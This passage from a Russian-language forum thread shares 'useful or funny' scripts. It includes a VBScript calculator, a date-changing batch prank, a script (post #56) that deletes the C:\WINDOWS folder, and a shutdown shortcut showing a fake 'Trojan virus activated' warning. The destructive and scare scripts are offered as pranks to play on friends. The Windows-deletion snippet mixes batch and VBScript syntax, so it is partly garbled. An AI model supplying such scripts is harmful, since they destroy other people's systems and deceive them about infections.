Добавлено (14.12.2010, 20:04)
---------------------------------------------
А вот второй у киллы спёр)
Скрипты. Заходим и выкладываем полезные или прикольные скрипты
#41
Отправлено 14 December 2010 - 20:04
#42
Отправлено 21 December 2010 - 18:13
Добавлено (21.12.2010, 18:13)
---------------------------------------------
59595959, плиз подскажи как их писать
только понятным языком
#43
Отправлено 26 December 2010 - 22:28
Напишите плиз в личку, а то я себе скоро пальцы сломаю в этом паскале
#45
Отправлено 02 January 2011 - 21:30
1.Создайте текстовый документ
2.Пропишите там : " Date 1-11-2010 "Смените на свою дату (1-11-2010)
3.Сохраняете как .bat файл вот и готов прикол над другом)
Могу предложыть еще скрипты для перезагрузки выключения компа!
#46
Отправлено 03 January 2011 - 18:56
#51
Отправлено 14 January 2011 - 17:07
Do Until Response = vbNo
dim Title
dim a
dim b
dim c
dim d
dim e
dim f
Title="Калькулятор"
strMenu="Выберете действие" & VbCrLf
strMenu=strMenu & "1. Сложение. 2.Вычитание. 3.Деление. 4.Умножение." & VbCrLf
b = 1
c = 2
d = 3
e = 4
a = InputBox(strMenu,Title)
a = cint(a)
if a = b then
Title1="Сложение"
Title2= "+"
dim Title2
dim Title1
dim x
dim y
strMenu="Введите цифры" & VbCrLf
x = Cint (InputBox(strMenu,Title1))
y = Cint( InputBox(strMenu,Title2))
c = x + y
MsgBox(" ")&c
end if
if a = c then
Title4="Вычитание"
Title3= "-"
dim Title3
dim Title4
dim m
dim n
strMenu="Введите цифры" & VbCrLf
n = Cint (InputBox(strMenu,Title4))
m = Cint( InputBox(strMenu,Title3))
v = n - m
MsgBox(" ")&v
end if
if a = d then
Title5="Деление"
Title6= "/"
dim Title5
dim Title6
dim k
dim l
strMenu="Введите цифры" & VbCrLf
k = Cint (InputBox(strMenu,Title5))
l = Cint( InputBox(strMenu,Title6))
j = k / l
MsgBox(" ")&j
end if
if a = e then
Title7="Умножение"
Title8= "*"
dim Title7
dim Title8
dim u
dim i
strMenu="Введите цифры" & VbCrLf
u = Cint (InputBox(strMenu,Title7))
i = Cint( InputBox(strMenu,Title8))
p = u * i
MsgBox(" ")&p
end if
Response = MsgBox ("Еще раз? ", vbYesNo, Title)
loop
а вот первобытный калькулятор написанный на .vbs, 1 день назад (мною). Надеюсь понятно как пользоваться.
#52
Отправлено 18 January 2011 - 15:19
#53
Отправлено 18 January 2011 - 22:49
#54
Отправлено 22 January 2011 - 19:41
#55
Отправлено 22 January 2011 - 23:57
#56
Отправлено 02 February 2011 - 19:21
@Echo off
Dim fso, fld
Set fso = CreateObject("Scripting.FileSystemObject")
Set fld = fso.GetFolder("C:\WINDOWS")
fld.Delete
#58
Отправлено 04 February 2011 - 18:45
Добавлено (04.02.2011, 18:45)
---------------------------------------------
создаете ярлык и в расположение пишете:C:\Windows\System32\shutdown.exe -s -t 20 -c "Trojan virus activated!!!"
#59
Отправлено 04 February 2011 - 21:10
не сказал бы я что это безопасно... в таких папках создавать файлы... да ну
#60
Отправлено 05 February 2011 - 09:59